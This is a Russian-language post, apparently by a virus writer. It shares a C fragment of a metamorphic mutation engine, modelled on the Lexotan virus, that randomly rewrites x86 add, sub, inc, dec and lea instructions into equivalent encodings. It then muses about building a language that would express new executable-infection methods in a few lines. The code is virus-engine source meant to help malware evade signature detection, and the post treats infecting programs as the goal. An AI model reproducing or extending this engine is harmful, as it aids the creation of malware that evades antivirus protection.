Наткнулся на
статью о Lexotan и быстренько присобачил аналогичную мутацию add/sub x/-x
if ((b0 & 0xf0) == 0x40 ||
(b0 == 0x05 || b0 == 0x2d) ||
(b0 == 0x81 && ((b1 & 0xf8) == 0xc0 || (b1 & 0xf8) == 0xe8)) ||
(b0 == 0x8d && ((b1 & 0xc0) == 0x80) && ((b1 >> 3) & 7) == (b1 & 7)))
if ((c->flags & (FL_GOTPTR1|FL_GOTPTR2|FL_GOTOFF)) == 0) {
char *x = malloc(8), reg, d, s;
uint32_t imm;
if ((b0 & 0xf8) == 0x40)
imm = 1;
else
if ((b0 & 0xf8) == 0x48)
imm = -1;
else
imm = *(uint32_t*)(c->src + c->diza.len - 4);
if (b0 == 0x05 || b0 == 0x2d)
reg = 0;
else {
if ((b0 & 0xf0) == 0x40)
reg = b0 & 7;
else
reg = b1 & 7;
}
if (b0 == 0x2d || (b1 & 0xf8) == 0xe8 || (b0 & 0xf8) == 0x48)
s = 1;
else
s = 0;
c->diza.len = 6;
if ((d = _random(3)) == 0) {
if (imm == 1 && _random(2) == 1) {
x[0] = 0x40 | reg;
c->diza.len = 1;
} else {
if (reg == 0 && _random(2) == 1) {
x[0] = 0x05;
c->diza.len = 5;
} else {
x[0] = 0x81;
x[1] = 0xc0 | reg;
}
}
} else if (d == 1) {
x[0] = 0x8d;
x[1] = 0x80 | (reg << 3) | reg;
if (reg == 4) {
x[2] = 0x24;
c->diza.len = 7;
}
} else {
if (imm == -1 && _random(2) == 1) {
x[0] = 0x48 | reg;
c->diza.len = 1;
} else {
if (reg == 0 && _random(2) == 1) {
x[0] = 0x2d;
c->diza.len = 5;
} else {
x[0] = 0x81;
x[1] = 0xe8 | reg;
}
}
}
if (c->diza.len != 1) {
uint32_t *arg = (uint32_t*)(x + c->diza.len - 4);
if (s != (d >> 1))
*arg = -imm;
else
*arg = imm;
}
if (c->flags & FL_FREESRC)
free(c->src);
c->flags |= FL_FREESRC;
c->src = x;
continue;
}
Что в общем-то не важно. Просто подумалось, что уродство страшное. Совсем по другому нужно все это делать. MD, в какой-то из статей предлагал декомпилить тушку и жертву до IL; Z - полиморфные компиляторы и компилятор в качестве кодо-генератора. Есть даже работающие вещи, использующие и то, и другое. Не оставляет впечатление, что даже полноценная реализация подобных идей, даже в виде универсального движка - это всё равно не то. Хочется язык или несколько языков для манипуляций с экзешками и их содержимым. В других областях натыкался на подобные разработки (TCP/IP в пару сотен строк итд Ж-), а в вирусах, если и встречается что-то подобное, то результат настолько не соответствует затраченным усилиям, что лучше бы оно и не встречалось. Ж-) Я вот тоже поигрался немножко и ничего толкового не получилось. Ж-) Всё наверное из-за того, что во-первых я себе всё это представлял, как движок, который делает "что-то одно", мутацию к примеру, во-вторых, громоздкий синтаксис, получались неудобоваримые описания и еще более неудобоваримый код. А нужен не движок, а такой язык, чтобы демонстрация нового способа заражения занимала бы не больше описания на естественном языке, то есть 10-15 строк. А потом переписать компилятор на этом же языке.